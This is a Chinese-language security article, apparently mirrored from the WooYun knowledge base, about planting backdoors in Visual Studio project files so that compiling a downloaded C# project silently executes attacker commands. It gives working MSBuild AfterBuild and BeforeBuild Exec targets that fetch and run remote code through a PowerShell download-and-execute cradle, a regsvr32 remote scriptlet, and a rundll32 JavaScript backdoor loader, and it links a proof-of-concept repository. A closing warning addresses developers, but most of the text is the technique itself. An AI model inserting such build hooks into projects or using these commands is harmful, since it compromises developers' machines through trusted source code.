作者:
三好學生
·
2016/06/03 10:23
0x00前言
本文源於一次大膽的嘗試:
對github上某一知名的C#工程作細微改動並推薦使用者下載,使用者在毫不知情的情況下往往會在檢視原始碼後選擇編譯檔案,然而在編譯的過程中,會隱蔽執行程式碼,獲得使用者的主機許可權,細極思恐。演示如下:
0x01 背景知識
MSBuild是 Microsoft Build Engine 的縮寫,代表 Microsoft 和 Visual Studio 的新的生成平臺
MSBuild可在未安裝Visual Studio的環境中編譯.net的工程檔案
例項1:
#!xml
<?xml version="1.0" encoding="utf-8" ?>
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="PrintCurrentDateTime">
<Message Text="The current date and time is: $([System.DateTime]::Now)." />
</Target>
</Project>
儲存為test.csproj
cmd下執行:
#!shell
C:\Windows\Microsoft.Net\Framework\v4.0.30319\msbuild.exe test.csproj
在cmd下會輸出顯示當前時間,如圖
例項2:
#!c
using System;
class Test
{
static void Main()
{
Console.WriteLine("Hello world");
}
}
儲存為hello.cs
#!xml
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Compile">
<CSC Sources="hello.cs" OutputAssembly="hello.exe" />
</Target>
</Project>
儲存為hello.csproj
hello.cs和hello.csproj放於同一目錄
cmd下執行:
#!shell
C:\Windows\Microsoft.Net\Framework\v4.0.30319\msbuild.exe hello.csproj
可以編譯生成hello.exe
0x02 構造工程(指令碼檔案)
在Visual Studio下新建一個c#工程,檢視目錄下的.csproj檔案,格式如下:
#!xml
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{11E01039-C952-4D78-A2E5-426B51788B7F}</ProjectGuid>
<OutputType>Exe</OutputType>
<AppDesignerFolder>Properties</AppDesignerFolder>
<RootNamespace>ConsoleApplication3</RootNamespace>
<AssemblyName>ConsoleApplication3</AssemblyName>
<TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="Microsoft.CSharp" />
<Reference Include="System.Data" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<None Include="App.config" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
Other similar extension points exist, see Microsoft.Common.targets.
<Target Name="BeforeBuild">
</Target>
<Target Name="AfterBuild">
</Target>
-->
</Project>
需要先了解以下基礎知識:
Project元素
專案檔案的最外層元素,它表示了一個專案的範圍。如果缺少了這一元素,MSBuild會報錯稱Target元素無法識別或不被支援。
Project元素擁有多個屬性,其中最常用到的是DefaultTargets屬性。我們都知道,在一個專案的生成過程中可能需要完成幾項不同的任務(比如編譯、單元測試、check-in到原始碼控制伺服器中等),其中每一項任務都可以用Target來表示。對於擁有多個Target的專案,你可以透過設定Project的DefaultTargets(注意是複數)屬性來指定需要執行哪(幾)個Target,如果沒有這個設定,MSBuild將只執行排在最前面的那個Target
Property元素
在專案中你肯定需要經常訪問一些資訊,例如需要建立的路徑名、最終生成的程式集名稱等。以name/value的形式新增進Property,隨後就可以以$(PropertyName)的形式訪問
Item元素
在整個專案檔案中你肯定要提供一些可被引用的輸入性資源(inputs)資訊,比如原始碼檔案、引用的程式集名稱、需要嵌入的圖示資源等。它們應該被放在Item裡,以便隨時引用
Target元素
Target表示一個需要完成的虛擬的任務單元。每個Project可以包括一個或多個Target,從而完成一系列定製的任務。你需要給每個Target設定一個Name屬性(同一Project下的兩個Target不能擁有同樣的Name)以便引用和區別
Task元素
可執行的部分,可以在Target下面放置多個Task來順序地執行相應的任務
部分元素定義引用+參考自http://www.cnblogs.com/shanyou/p/3452938.html
由https://msdn.microsoft.com/en-us/library/7z253716.aspx可獲得詳細Task類的用法介紹,其中幾個特別的類值得注意:
- Copy:複製檔案
- Delete:刪除檔案
- Exec:執行命令
- MakeDir:建立檔案
- Message:向控制檯輸出訊息
結合以上的基礎知識,我們不難理解預設.csproj檔案包含的資訊,而在.csproj檔案尾部存在一個特別的說明:
#!xml
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
Other similar extension points exist, see Microsoft.Common.targets.
<Target Name="BeforeBuild">
</Target>
<Target Name="AfterBuild">
</Target>
-->
那麼,我們能否透過修改此處來操作VS編譯檔案的過程呢?
0x03 新增後門測試
對於原始文件,首先去掉<--
和-->
的標記
1、在編譯過程中直接彈calc.exe
新增程式碼如下:
#!xml
<Target Name="AfterBuild">
<Exec Command="calc.exe"/>
</Target>
成功彈出計算器,build的過程卡住,手動結束calc程式,編譯成功,如圖:
解決方法:
解決calc程式死鎖,可以透過powershell的start process非同步呼叫來執行calc.exe
指令碼內容為
#!shell
start-process calc.exe
上傳至github
使用powershell來下載執行
.csproj檔案修改為:
#!xml
<Target Name="AfterBuild">
<Exec Command="powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/3gstudent/test/master/calc.ps1');"/>
</Target>
執行如圖:
2、在編譯過程中呼叫regsvr32.exe
新增程式碼如下:
#!xml
<Target Name="AfterBuild">
<Exec Command="regsvr32.exe /u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"/>
</Target>
使用regsvr32會在控制檯輸出報錯提示許可權不夠,但依然可以成功執行命令,如圖
3、在編譯過程中執行JSRAT
使用rundll32
#!xml
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")
兩個""
中間無法再使用"
,所以要用"
來替代"
最佳化的程式碼如下:
#!xml
<Target Name="AfterBuild">
<Exec Command="rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")"/>
</Target>
成功彈出計算器,但無法成功編譯檔案,手動結束rundll32程式,編譯成功,提示rundll32呼叫錯誤
解決方法:
寫臨時js檔案,再執行,程式碼如下:
#!xml
<Target Name="BeforeBuild">
<Exec Command="echo GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")>1.js"/>
</Target>
<Target Name="AfterBuild">
<Exec Command="1.js"/>
</Target>
演示略
0x04 實際影響
任意一個c#工程,只要編輯.csproj檔案,即可實現在編譯過程中執行任意命令。 正如本文開始的演示圖,絕大部分人從github上下載程式碼後,會選擇直接編譯,即使部分人會注意程式碼細節,也常常會忽略.csproj檔案,並且透過Visual Studio 的操作皮膚無法獲取新增的後門程式碼。
如果別有用心的人在公開專案的.csproj檔案新增了後門程式碼,後果將不堪設想。希望本文能引起大家對此細節的注意,尤其是開發人員,編譯工程前尤其要記得檢視.**proj檔案的細節。亡羊而補牢,未為遲也。
Poc地址:
https://github.com/3gstudent/p0wnedShell-DarkVersion
0x05 補充
使用Visual Studio中的其他語言也同樣可以插入後門:
Visual C++:
- 修改.vcxproj檔案
Visual Basic:
- 修改.vbproj檔案
Visual F#:
- 修改.fsproj檔案
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!